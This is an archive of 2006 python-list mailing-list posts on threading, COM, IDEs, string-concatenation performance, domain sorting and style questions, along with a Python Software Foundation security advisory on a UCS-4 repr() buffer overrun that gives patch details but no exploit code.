      for list_name in Summand.Lists:
         if Sum.Lists.has_key (list_name):
            Sum.Lists [list_name] += Summand.Lists [list_name]
            # List operators work fine

      return Sum


---------------------------------------------------------------------------



From martin.dion at gmail.com  Wed Oct 18 22:40:48 2006
From: martin.dion at gmail.com (martdi)
Date: 18 Oct 2006 19:40:48 -0700
Subject: Converting existing module/objects to threads
In-Reply-To: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
Message-ID: <1161225648.047155.163200@h48g2000cwc.googlegroups.com>


jdlists at gmail.com wrote:
> I have inheirted some existing code, that i will explain in a moment,
> have needed to extend and ultimately should be able to run in threads.
> I've done a bunch of work with python but very little with threads and
> am looking for some pointers on how to implement, and if the lower
> level modules/objects need to be rewritten to use threading.local for
> all local variables.
>
> I have a module that communicates with a hardware device, which reads
> data off of sensors, that can only talk with one controller at a time.
> The controller (my module) needs to (in its simplest form) init,
> configure the device, request data, and write out xml, sleep, repeat.
>
> The new request is that the device needs to be queried until a
> condition is true, and then start requesting data.  So an instance of a
> controller needs to be deadicated to a hardware device forever, or
> until the program ends....which ever comes first.
>
> This currently works in a non-threaded version, but only for one device
> at a time, there is a need to create a single windows(yeach) service
> that talks to many of these devices at once.  I don't need worker
> threads that handle seperate portions of the entire job, i need a
> single application to spawn multiple processes to run through the
> entire communication from configure to report, sleep until the next
> interval time and run again.  The communication could last from 1
> minute to 10 minutes before it ends.
>
>
>   Here is the code layout in pseudocode.
>
> module.Object - controller.Main - handles all socket communications
>
> class subcontroller(controller.Main):
>   def __init__(self,id,configurationFile):
>    controller.Main.__init__(self)
>    // instantiate variables and local objects that handle
> configuration, logic and data output
>
>   def configure(self,configurationFile):
>     //read configurationFile and configure device
>
>   def process(self):
>     while 1:
>       //based on configuration file, query the device until condition
> is true and then write xml, sleep until time to repeat and run again.
>
> within controller there are 5 objects and subcontroller is a sinlge
> object that loads other objects from the inherited controller.System
>
> I'm trying to figure out how difficult it is going to be to convert
> this to a threaded application.  The original controller.Main is built
> to talk to devices in series, never in parallel. so no objects are
> considered to be thread safe, but no instance of any of the objects
> should need to share resources with any other instance of teh same
> object.  they would all have unique configuration files and talk to
> devices on unique ip/ports.
>
> on a unix system, forking,while potentially not optimal, would be a
> fine solution, unfortunantely this needs to run on windows.
>
> I know i have left out many details, but hopefully this is enough to at
> least enable some kind soles to lend an opinnion or two.
>
> many thanks
> jd

Taking a look at asyncore could be worthwhile, but if you want to
implement it with threads, you may be able to do it this way:

In your main file, from where you start the program, let's call it
main:

main(self)
Load Required configuration
spawn threads (1 for each controller)
define a queue object from module queue.queue used for communication
with threads
enter an infinite loop that checks for the conditions
    once conditions are met, notify the proper thread


class ControllerThread(threading.Thread):
    def __init__(self):
        define a queue here, to process messages from the main
        call threading.Thread.__init__(self)

    define method to load config for thread objects
    (you might want to pass an argument to init to load your configs
from a file)
    (you might also want to pass the queue of the main program to the
thread to send it messages)
    define methods to post messages to the queue like read, send to the
machine, stop, ...

    define the run method that is what will be called when you start
your thread.
        this method should enter an infinite loop that will check if
something has to be done (check in the queue).





hope this might help you
good luck



From jyoti.chhabra at gmail.com  Thu Oct 12 03:50:16 2006
From: jyoti.chhabra at gmail.com (JyotiC)
Date: 12 Oct 2006 00:50:16 -0700
Subject: pygtk dynamic table
Message-ID: <1160639416.482416.6110@i42g2000cwa.googlegroups.com>

hi,

i am making a gui, which looks like excel sheets.
i want to give the user the facility of adding rows/columns at the run
time.
there is some initial size, but that can be increased any time during
the executation of the code.

what i have tried, is that i am using table.
so when ever user increase the size, i destroy the original table and
make a new one with the increased size.

is there a better way to do this ?

thanx in advance



From http  Mon Oct 23 21:12:36 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 18:12:36 -0700
Subject: Python segmentation fault?
References: <NradncijuZ_M-KDYnZ2dnUVZ_uWdnZ2d@comcast.com>
Message-ID: <7xr6wybjp7.fsf@ruckus.brouhaha.com>

"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> writes:
> Is there a way to debug scripts that cause segmentation faults?  I can
> do a backtrace in gdb on Python, but that doesn't really help me all
> that much since, well, it has nothing to do with my script... :-P

Scripts should never cause segmentation faults.  Extension modules can
cause them.  One frequent cause is a refcount management error.  There
are various tools around for checking refcount correctness.  Here is one:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496791


From duncan.booth at invalid.invalid  Mon Oct  2 07:03:11 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 2 Oct 2006 11:03:11 GMT
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
Message-ID: <Xns98507A4715288duncanbooth@127.0.0.1>

"Will McGugan" <will at willmcgugan.com> wrote:

> A Vector3D can be constructed in 3 ways. If no parameters are given it
> assumes a default of (0, 0, 0). If one parameter is given it is assumed
> to be an iterable capable of giving 3 values. If 3 values are given
> they are assumed to be the initial x, y, z.
> 
> And now for the ponderings...
> 
> 1) Is 'overloading' like this pythonic, or should I supply alternative
> contstructors?

No it isn't Pythonic. Why not just require 3 values and move the 
responsibility onto the caller to pass them correctly? They can still use 
an iterator if they want:

    Vector3D(a, b, c)
    Vector3D(*some_iter)

Then your initialiser becomes:

def __init__(self, x=0, y=0, z=0):
    self.x, self.y, self.z = x, y, z

much cleaner and also catches accidental use of iterators.

Alternatively, insist on always getting exactly 0 or 1 arguments:

    Vector3D((a,b,c))
    Vector3D(some_iter)

def __init__(self, (x, y, z)=(0,0,0)):
    self.x, self.y, self.z = x, y, z

which is great if you already have lots of 3-tuples, but a pain otherwise 
to remember to double the parentheses.


From steve at holdenweb.com  Sat Oct  7 05:53:24 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 07 Oct 2006 10:53:24 +0100
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr.  
	AndySingleton
In-Reply-To: <000f01c6e9eb$0e84ac00$03000080@hendrik>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de><mailman.1446.1160129559.10491.python-list@python.org>	<4omr1tFfbn9dU1@uni-berlin.de>
	<000f01c6e9eb$0e84ac00$03000080@hendrik>
Message-ID: <eg7tct$jls$3@sea.gmane.org>

Hendrik van Rooyen wrote:
> "Diez B. Roggisch" <deets at nospam.web.de> wrote:
> 
> 8<---------------------------------------
> 
>>... - I don't wanna get 
>>into the details of my underwear.... :P
>>
>>Diez
> 
> 
> Why not? - what are you hiding?
> 
:)

We *especially* don't want to get into the details of what's *under* his 
underwear.

speaking-purely-for-myself-ly y'rs  - steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From larry at hastings.org  Mon Oct  2 00:19:26 2006
From: larry at hastings.org (Larry Hastings)
Date: 1 Oct 2006 21:19:26 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
Message-ID: <1159762765.943691.139690@b28g2000cwb.googlegroups.com>

An update: I have submitted this as a patch on SourceForge.
It's request ID #1569040.
	http://sourceforge.net/tracker/?group_id=5470&atid=305470
I invite everyone to take it for a spin!

There are some improvements in this version.  Specifically:

* Python will no longer crash if you do ten million prepends
  ( x = 'a' + x ).  Since the problem was blowing the stack
  with an incredibly deep render, I now limit the depth of
  the string concatenation objects (currently set at 16384).
  Note that string prepending is now *immensely* faster, as
  prepending in the existing implementation is a worst-case.

* I figured out why my zero-length strings were occasionally
  not zero terminated.  It had to do with subclassing a string
  and storing an attribute in the object, which meant storing
  a dict, and where specifically the interpreter chose to store
  that.  The solution was essentially to ensure there's always
  space in the object for the trailing zero.

When running regrtest.py, my patched version produces identical
output to a non-patched build on Windows.


Steve Holden wrote:
> Does a comparison also force it to render?

Yes.  Any attempt to examine the string causes it to render.


> It does sound like memory usage
> might go through the roof with this technique under certain
> circumstances, so the more extensive your tests are the more likely you
> are to see the change actually used (I'm not convinced you'll persuade
> the developers to include this).

Yeah, I expect memory usage to be higher too, but not by a fantastic
amount.  Once you render the concatenation, it drops all the references
to the child objects held in the tree, and what's left is a string
object with some extra space on the end.


> I think your project might make a very
> interesting PyCon paper for people who were thinking about joining the
> development effort but hadn't yet started.

Perhaps; I've never been to PyCon, but it might be fun to give a
presentation there.  That said, it would be way more relevant if the
patch got accepted, don'tcha think?

Cheers,


/larry/

p.s. Thanks for the sentiment, Colin W.!



From edreamleo at charter.net  Wed Oct  4 15:45:57 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 14:45:57 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>	<mailman.1265.1159970009.10491.python-list@python.org>	<WQPUg.8$Cr3.6@newsfe03.lga><4oi0f3FehgnuU1@uni-berlin.de>	<k3QUg.11$Cr3.3@newsfe03.lga><4oi4meFep2seU1@uni-berlin.de>
	<LnRUg.5$5H6.3@newsfe05.lga>
	<mailman.1283.1159989327.10491.python-list@python.org>
Message-ID: <ZbUUg.89$iP5.49@newsfe07.lga>

> are you expecting your users to write XML by hand?

Of course not.  Leo has the following option:

@string new_leo_file_encoding = utf-8

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From mitko at qlogic.com  Thu Oct 19 20:53:35 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Thu, 19 Oct 2006 17:53:35 -0700
Subject: Getting method name from within the class method
In-Reply-To: <1161230496.293074.122990@k70g2000cwa.googlegroups.com>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<mailman.722.1161208770.11739.python-list@python.org>
	<1161230496.293074.122990@k70g2000cwa.googlegroups.com>
Message-ID: <20061019175335.63f98717@opal.pathscale.com>

On 18 Oct 2006 21:01:36 -0700
"George Sakkis" <george.sakkis at gmail.com> wrote:

> from inspect import getframeinfo,currentframe
> 
> class test(object):
>     def a_method(self,this,that):
>         print getframeinfo(currentframe())[2]

Thanx for the reply! This about the most useful one I've gotten so far!!

-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From hg at nospam.com  Fri Oct 13 14:59:56 2006
From: hg at nospam.com (hg)
Date: Fri, 13 Oct 2006 13:59:56 -0500
Subject: wing ide vs. komodo?
In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
Message-ID: <jvRXg.27338$Go3.26546@dukeread05>

John Salerno wrote:
> Just curious what users of the two big commercial IDEs think of them
> compared to one another (if you've used both).
> 
> Wing IDE looks a lot nicer and fuller featured in the screenshots, but a
> glance at the feature list shows that the "personal" version doesn't
> even support code folding! That's a little ridiculous and makes me have
> doubts about it.
> 
> Komodo, on the other hand, seems to have more of the features that the
> personal version of Wing IDE lacks (call tips, class browser, etc.) but
> the look of it seems very sparse for some reason.

I'm testing them both now ... Wing IDE is in front (but I'm testing the
pro version).


hg



From tejovathi.p at gmail.com  Mon Oct 16 04:38:31 2006
From: tejovathi.p at gmail.com (Teja)
Date: 16 Oct 2006 01:38:31 -0700
Subject: COM and threads
Message-ID: <1160987911.076378.204730@f16g2000cwb.googlegroups.com>

HI all,

I have a problem in accesing COM objects in threads. To be precise,
lets assume that I have a class GenericFunctions which is defined as
follows:

import win32com.client, pythoncom, thread
ie=win32com.client.Dispatch('internetexplorer.application')
ie.Visible=1

class GenericFunctions:

       def __init__(self):
             print "In Constructor of Generic Functions"

       def MyNavigate(self,dest):
             ie.Navigate(dest)


Now there  is another file Main.py which is defined as follows:

import win32com.client, pythoncom, thread
from GenericFunctions import *
obj = GenericFunctions()

class Mainclass:
       def __init__(self);
            print "In Constructor of Main class"

       def threadFunction(self,dest):
            pythoncom.CoInitialize()
            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
            my_ie=win32com.client.Dispatch(d)
            obj.func(dest)          # this is gving an error.
            pythoncom.CoUninitialize()

if __name__ == "__main__":

s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie)
         thread.start_new_thread(self.nav, (s,'www.google.com')

Basically, I want to access object of GenericFunctions class inside
threadFunction(). However I was able to execute
my_ie.Navigate("google.com"). But that was not I wanted. I am not
knowing where the error is....
Please let me know the solution ASAP...

Teja.P



From chrispatton at gmail.com  Tue Oct 31 23:21:19 2006
From: chrispatton at gmail.com (Chris)
Date: 31 Oct 2006 20:21:19 -0800
Subject: .pyc's
Message-ID: <1162354879.039642.195690@k70g2000cwa.googlegroups.com>

I had some code that I wrote that I guess I deleted. But for whatever
reason I still have the bytecode .pyc file for it. Is there a way to
get the code I wrote back from this?



From sjmachin at lexicon.net  Sat Oct  7 02:06:54 2006
From: sjmachin at lexicon.net (John Machin)
Date: 6 Oct 2006 23:06:54 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <eg75h3$lg9$1@panix3.panix.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<eg75h3$lg9$1@panix3.panix.com>
Message-ID: <1160201214.367444.250270@i42g2000cwa.googlegroups.com>


Aahz wrote:
> In article <1160182951.812677.178750 at i42g2000cwa.googlegroups.com>,
> MonkeeSage <MonkeeSage at gmail.com> wrote:
> >On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote:
> >>
> >> The following line of lightly munged code was found in a publicly
> >> available Python library...
> >
> >Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh),
> >which was written by the very finger of God when the world was still in
> >chaotic darkness.
>
> Did you actually analyze the line of code?  Particularly WRT the way it
> operates in different versions of Python?

A comment on the "style" issue, before we get into the real WTF
analysis: any function/method whose name begins with "has" or "is"
returns an honest-to-goodness actual bool (or what passed for one in
former times). IMHO, any comparison with [] being regarded as false and
[0] being regarded as true is irrelevant, and writing "has_something()
== False" or "has_something() is False" is utterly ludicrous.

Now back to the analysis. Empirical evidence, back as far as 2.1:

C:\junk>type isfalse.py
import sys
print sys.version
try:
    False
    print "False is defined; type: %r; value: %r" \
        % (type(False), False)
except NameError:
    print "defining: False = 0; True = 1"
    False = 0
    True = 1
adict = {1: 42}
v = adict.has_key(2)
print "'adict.has_key(2)' ->", v
print "'adict.has_key(2) == False' ->", v == False
print "'adict.has_key(2) is False' ->", v is False
try:
    1 in adict
    print "'key in adict' is available"
except TypeError, e:
    print "Need to use 'adict.has_key(key)'"
    print "'key in adict' -> %s" % e


C:\junk>for %1 in (5 4 3 2 1) do \python2%1\python isfalse.py

C:\junk>\python25\python isfalse.py
2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)]
False is defined; type: <type 'bool'>; value: False
'adict.has_key(2)' -> False
'adict.has_key(2) == False' -> True
'adict.has_key(2) is False' -> True
'key in adict' is available

C:\junk>\python24\python isfalse.py
2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)]
False is defined; type: <type 'bool'>; value: False
'adict.has_key(2)' -> False
'adict.has_key(2) == False' -> True
'adict.has_key(2) is False' -> True
'key in adict' is available

C:\junk>\python23\python isfalse.py
2.3.5 (#62, Feb  8 2005, 16:23:02) [MSC v.1200 32 bit (Intel)]
False is defined; type: <type 'bool'>; value: False
'adict.has_key(2)' -> False
'adict.has_key(2) == False' -> True
'adict.has_key(2) is False' -> True
'key in adict' is available

C:\junk>\python22\python isfalse.py
2.2.3 (#42, May 30 2003, 18:12:08) [MSC 32 bit (Intel)]
False is defined; type: <type 'int'>; value: 0
'adict.has_key(2)' -> 0
'adict.has_key(2) == False' -> 1
'adict.has_key(2) is False' -> 0
'key in adict' is available

C:\junk>\python21\python isfalse.py
2.1.3 (#35, Apr  8 2002, 17:47:50) [MSC 32 bit (Intel)]
defining: False = 0; True = 1
'adict.has_key(2)' -> 0
'adict.has_key(2) == False' -> 1
'adict.has_key(2) is False' -> 1
Need to use 'adict.has_key(key)'
'key in adict' -> 'in' or 'not in' needs sequence right argument

Analysis depends on what range of Python versions the author purported
to be supporting:
(1) back to 2.3: bad style, no damage, but why not use "key in dict"?
(2) back to 2.2: bad style, *WRONG ANSWER*; why not use "key in dict"?
(3) back to 2.1: as above for 2.2; would not work in 2.1 without the
demonstrated band-aid. Note that the simple "if not
adict.has_key(key):" construct works happily (if a trifle slowly) in
all 5 versions.

HTH,
John



From python.list at tim.thechases.com  Mon Oct  2 11:45:23 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Mon, 02 Oct 2006 10:45:23 -0500
Subject: Sort by domain name?
In-Reply-To: <7xmz8ekayz.fsf@ruckus.brouhaha.com>
References: <mailman.1094.1159801691.10491.python-list@python.org>
	<7xmz8ekayz.fsf@ruckus.brouhaha.com>
Message-ID: <45213413.8070203@tim.thechases.com>

>> Here, domain name doesn't contain subdomain, or should I
>> say, domain's part of 'www', mail, news and en should be 
>> excluded.
> 
> It's a little more complicated, you have to treat co.uk about
>  the same way as .com, and similarly for some other countries 
> but not all.  For example, subdomain.companyname.de versus 
> subdomain.companyname.com.au or subdomain.companyname.co.uk. 
> You end up needing a table or special code to say how to treat
> various countries.

In addition, you get very different results even on just "base"
domain-name, such as "whitehouse" based on whether you use the
".gov" or ".com" variant of the TLD. Thus, I'm not sure there's
any way to discern this example from the "yahoo.com" vs.
"yahoo.co.uk" variant without doing a boatload of WHOIS queries,
which in turn might be misleading anyways.

A first-pass solution might look something like:

##############################################################>>> 
sites
['http://mail.google.com', 'http://reader.google.com', 
'http://mail.yahoo.co.uk', 'http://google.com', 
'http://mail.yahoo.com']
 >>> sitebits = [site.lower().lstrip('http://').split('.') for 
site in sites]
 >>> for site in sitebits: site.reverse()
...
 >>> sorted(sitebits)
[['com', 'google'], ['com', 'google', 'mail'], ['com', 'google', 
'reader'], ['co
m', 'yahoo', 'mail'], ['uk', 'co', 'yahoo', 'mail']]
 >>> results = ['http://' + ('.'.join(reversed(site))) for site 
in sorted(sitebits)]
 >>> results
['http://google.com', 'http://mail.google.com', 
'http://reader.google.com', 'http://mail.yahoo.com', 
'http://mail.yahoo.co.uk']
##############################################################

which can be wrapped up like this:

##############################################################
 >>> def sort_by_domain(sites):
...     sitebits = [site.lower().lstrip('http://').split('.') for 
site in sites]
...     for site in sitebits: site.reverse()
...     return ['http://' + ('.'.join(reversed(site))) for site 
in sorted(sitebits)]
...
 >>> s = sites
 >>> sort_by_domain(sites)
['http://google.com', 'http://mail.google.com', 
'http://reader.google.com', 'http://mail.yahoo.com', 
'http://mail.yahoo.co.uk']
##############################################################

to give you a sorting function.  It assumes http rather than 
having mixed url-types, such as ftp or mailto.  They're easy 
enough to strip off as well, but putting them back on becomes a 
little more exercise.

Just a few ideas,

-tkc






From hanumizzle at gmail.com  Wed Oct 11 02:14:34 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 02:14:34 -0400
Subject: Difference between unindexable and unsubscriptable
In-Reply-To: <87mz8375v9.fsf@benfinney.id.au>
References: <eghtcj$lrh$1@skeeter.ucdavis.edu> <87zmc376py.fsf@benfinney.id.au>
	<463ff4860610102246l35719e13m28ec4cbed41fa149@mail.gmail.com>
	<87mz8375v9.fsf@benfinney.id.au>
Message-ID: <463ff4860610102314r64856517s82d0eb8e8c8a0e8f@mail.gmail.com>

On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:

> > I'm trying to learn about style conventions in Python. How would use
> > of getattr compare?
>
> I'm having trouble knowing what you need explained.
>
> You have available to you an interactive Python interpreter, and the
> documentation. Can you show us some sessions in the interpreter that
> you still find confusing after you read the relevant documentation?

Don't worry, I got it now. (Ah Perl...how you warped my mind...)

-- Theerasak


From fredrik at pythonware.com  Wed Oct 18 03:53:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 09:53:17 +0200
Subject: How to convert this list to string?
In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
Message-ID: <eh4mhh$e83$1@sea.gmane.org>

Jia Lu wrote:

> Hi all
> 
>  I have a list like:
> 
>>>> list
> [1, 2, 3]
>>>> list[1:]
> [2, 3]
> 
> I want to get a string "2 3"
> 
>>>> str(list[1:])
> '[2, 3]'
> 
> How can I do that ?

     http://effbot.org/zone/python-list.htm#printing

</F>



From deets at nospam.web.de  Tue Oct 17 10:49:12 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 17 Oct 2006 16:49:12 +0200
Subject: How to invoke ipython in Mac OS X?
References: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>
Message-ID: <4pk8r8FjagluU1@uni-berlin.de>

Lou Pecora wrote:

> I installed the SciPy superpackage and have pylab, matplotlib, scipy,
> and numpy apparently running well.  But I want to use matplotlib/pylab
> interactively.  The instructions suggest doing this in IPython.  But
> using ipython on the command line gives me an error.  The system doesn't
> know the command.  Apparently there is no ipython executable in one of
> the bin directories.  I thought the superpackage would add that
> automatically, but I guess not.
> 
> Can anyone tell me how to get ipython running on my MacOSX 10.4 system?

This is just a guess - but did you check your

/Library/Frameworks/Python.framework/Versions/Current/bin

(out of my head, but should be precise enough to get you there)

directory for the ipython-binary? Usually, that will be the prefix of
anything compiled/installed to framework-builds. So either you add that to
your path, or create links to e.g. /usr/local/bin



Diez


From anthony at python.org  Thu Oct 12 03:31:49 2006
From: anthony at python.org (Anthony Baxter)
Date: Thu, 12 Oct 2006 17:31:49 +1000
Subject: SECURITY ADVISORY [PSF-2006-001] Buffer overrun in repr() for UCS-4
	encoded unicode strings
Message-ID: <200610121732.00587.anthony@python.org>

           SECURITY ADVISORY [PSF-2006-001] 
 Buffer overrun in repr() for UCS-4 encoded unicode strings

     http://www.python.org/news/security/PSF-2006-001/

Advisory ID:  PSF-2006-001
Issue Date:   October 12, 2006
Product:      Python
Versions:     2.2, 2.3, 2.4 prior to 2.4.4, wide unicode (UCS-4) builds only
CVE Names:    CAN-2006-4980

Python is an interpreted, interactive, object-oriented programming language. 
It is often compared to Tcl, Perl, Scheme or Java.

The Python development team has discovered a flaw in the repr() implementation 
of Unicode string objects which can lead to execution of arbitrary code due 
to an overflow in a buffer allocated with insufficient size.

The flaw only manifests itself in Python builds configured to support UCS-4 
Unicode strings (using the --enable-unicode=ucs4 configure flag). This is 
still not the default, which is why the vulnerability should not be present 
in most Python builds out there, especially not the builds for the Windows or 
Mac OS X platform provided by www.python.org.

You can find out whether you are running a UCS-4 enabled build by looking at 
the sys.maxunicode attribute: it is 65535 in a UCS-2 build and 1114111 in a 
UCS-4 build.

More information can be found in this posting to the python-dev mailing list: 
http://mail.python.org/pipermail/python-dev/2006-October/069260.html

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned 
the name CAN-2006-4980 to this issue.

Python 2.4.4 will be released from www.python.org next week containing a fix 
for this issue. A release candidate of 2.4.4 is already available containing 
the fix. Python 2.5 also already contains the fix and is not vulnerable.

Patches for Python 2.2, 2.3 and 2.4 are also immediately available:

 * http://python.org/files/news/security/PSF-2006-001/patch-2.3.txt
     (Python 2.2, 2.3)
 * http://python.org/files/news/security/PSF-2006-001/patch-2.4.txt 
     (Python 2.4) 

Acknowledgement: thanks to Benjamin C. Wiley Sittler for discovering this 
issue.

The official URL for this security advisory is
http://www.python.org/news/security/PSF-2006-001/
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From kenneth.m.mcdonald at sbcglobal.net  Thu Oct 26 01:06:44 2006
From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald)
Date: Thu, 26 Oct 2006 00:06:44 -0500
Subject: What's the best IDE?
In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
Message-ID: <45404264.4040705@sbcglobal.net>

With the most recent edition of PyDev, I find Eclipse works quite well 
for me.

Ken

Hakusa at gmail.com wrote:
> Recently I've had some problems with PythonWin when I switched to
> Py2.5, tooka long hiatus, and came back. So now I'm without my god sent
> helper, and I'm looking for a cool replacement, or some advocation to
> reinstall/setup PyWin. But the Python website's list is irrefutably
> long. It would take a month or two to test all of those products. So
> I'm looking for experienced advocates.
>
> What's your favorite IDE?
> What do you like about it?
> It would be fine for a begginer, right?
>
>   



From steve at holdenweb.com  Wed Oct 25 18:58:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 23:58:05 +0100
Subject: cleaner way to write this?
In-Reply-To: <7xac3kb6do.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<7xac3kb6do.fsf@ruckus.brouhaha.com>
Message-ID: <ehoq3r$6iq$1@sea.gmane.org>

Paul Rubin wrote:
> John Salerno <johnjsal at NOSPAMgmail.com> writes:
> 
>>         if dlg.ShowModal() == wx.ID_OK:
>>             db_name = dlg.GetValue()
>>             dlg.Destroy()
>>             return db_name
>>         else:
>>             dlg.Destroy()
>>             return
> 
> 
> I like
> 
>     if dlg.ShowModal() == wx.ID_OK:
>          db_name = dlg.GetValue()
>     else:
>          db_name = None
>     dlg.Destroy()
>     return db_name
> 
> better than
> 
>     db_name = None
>     if dlg.ShowModal() == wx.ID_OK:
>          db_name = dlg.GetValue()
>     dlg.Destroy()
>     return db_name
> 
> but I suppose it's a matter of preference.

Of course, in 2.5 you can write

db_name = dlg.GetValue() if dlg.ShowModal() == wx.ID_OK else None
dlg.Destroy()
return db_name

but frankly I think this is horrible. I suspect we'd better get used to 
it, though ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From rpdooling at gmail.com  Sat Oct 21 09:57:48 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 21 Oct 2006 06:57:48 -0700
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161430119.994468.145810@h48g2000cwc.googlegroups.com>
References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
	<1161375830.733818.99070@i42g2000cwa.googlegroups.com>
	<1161377996.049154.118650@b28g2000cwb.googlegroups.com>
	<1161430119.994468.145810@h48g2000cwc.googlegroups.com>
Message-ID: <1161439068.615887.76140@i3g2000cwc.googlegroups.com>


Jon Clements wrote:

> However, only you know what
> you really want to do, so it's up to you to evaluate which RDMS to go
> for!

That assumes a lot :) My needs are simple. I'm exploring. My only real
db is a collection of 5,000 quotations, book passages etc. Flat file
would probably even do it. But I like to learn. Converted to sqlite
with no problem. But I'll try Postgres, just for fun. I guess I was
drawn to MySQL only because it's part of a WordPress site/blog I
operate, and the conversion tools from Access to MySQL were a snap.

> In terms of data entry; if you're able to extend the idea of GUI a
> little, why not use web forms?

This never occurred to me. Good idea! I'll explore.

> if your load on the data-entry/browsing side isn't too heavy, you can
> use the 'development server' instead of installing a full-blown server
> such as Apache (I'm not sure if IIS is supported).

What's IIS?

> Users need not have any specific software (well, apart from a web
> browser), you can change the back-end any time, have authentication,
> the database and users can be remote to the actual "GUI" etc....
>
> Just some thoughts you can do with as you wish.

Thank you, I shall explore.

Rick



From gagsl-py at yahoo.com.ar  Fri Oct 20 16:24:07 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 17:24:07 -0300
Subject: doctest and exposing internals.
In-Reply-To: <slrneji8ur.1ps.horpner@FIAD06.norwich.edu>
References: <slrneji8ur.1ps.horpner@FIAD06.norwich.edu>
Message-ID: <7.0.1.0.0.20061020172157.05b7b080@yahoo.com.ar>

At Friday 20/10/2006 16:29, Neil Cerutti wrote:

>The example of correct usage it what's wrong with the docstring.
>
>There's no interface for checking if an event is queued in Glk,
>so I resorted to exposing the internal state main.char_request in
>the doc string. What are the alternatives?

- what you have done
- modify the interfase to allow that kind of checking
- use a standard unit test


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From hanumizzle at gmail.com  Sun Oct  8 16:17:59 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 16:17:59 -0400
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <slrneiim1d.8tl.sybrenUSE@schuimige.stuvel.eu>
References: <mailman.70.1160336094.11739.python-list@python.org>
	<slrneiim1d.8tl.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <463ff4860610081317q245aa96o40d044063ef23c67@mail.gmail.com>

On 10/8/06, Sybren Stuvel <sybrenUSE at yourthirdtower.com.imagination> wrote:

> > 3. Using IIS at all for that matter, does WSGI work on IIS, do any
